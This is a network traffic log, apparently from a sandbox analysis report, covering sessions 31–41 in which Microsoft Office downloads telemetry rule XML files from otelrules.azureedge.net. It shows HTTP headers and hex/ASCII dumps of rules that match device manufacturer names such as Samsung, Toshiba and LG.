2024-10-29 19:37:59 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193759Z-16849878b786lft2mu9uftf3y4000000089g000000006kkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:59 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:59 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193759Z-16849878b78sx229w7g7at4nkg0000000590000000007dyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:59 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:00 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:00 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 41993aaf-d01e-0082-087e-29e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193800Z-r197bdfb6b4bs5qf58wn14wgm0000000063g0000000067ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:00 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:00 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193800Z-16849878b78wc6ln1zsrz6q9w800000006p000000000g5d3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:00 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193800Z-16849878b782d4lwcu6h6gmxnw00000006n000000000mxws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:00 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:00 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193800Z-16849878b78bjkl8dpep89pbgg00000005r000000000b1h7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:00 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:00 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193800Z-16849878b78hh85qc40uyr8sc80000000740000000012ux2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:00 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:01 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193801Z-16849878b7867ttgfbpnfxt44s00000006vg00000000ed6k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:01 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:01 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193801Z-17c5cb586f64v7xsc2ahm8gsgw00000001y000000000c707 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:01 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193801Z-16849878b787bfsh7zgp804my400000005t000000000dnxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:38:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:01 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:01 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2eb4648-201e-0051-526d-287340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193801Z-17c5cb586f69w69mgazyf263an000000066000000000buc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:01 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:01 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:01 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e7cc90bd-401e-0029-032a-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193801Z-15b8d89586ff5l62aha9080wv0000000088g00000000ddu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:01 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

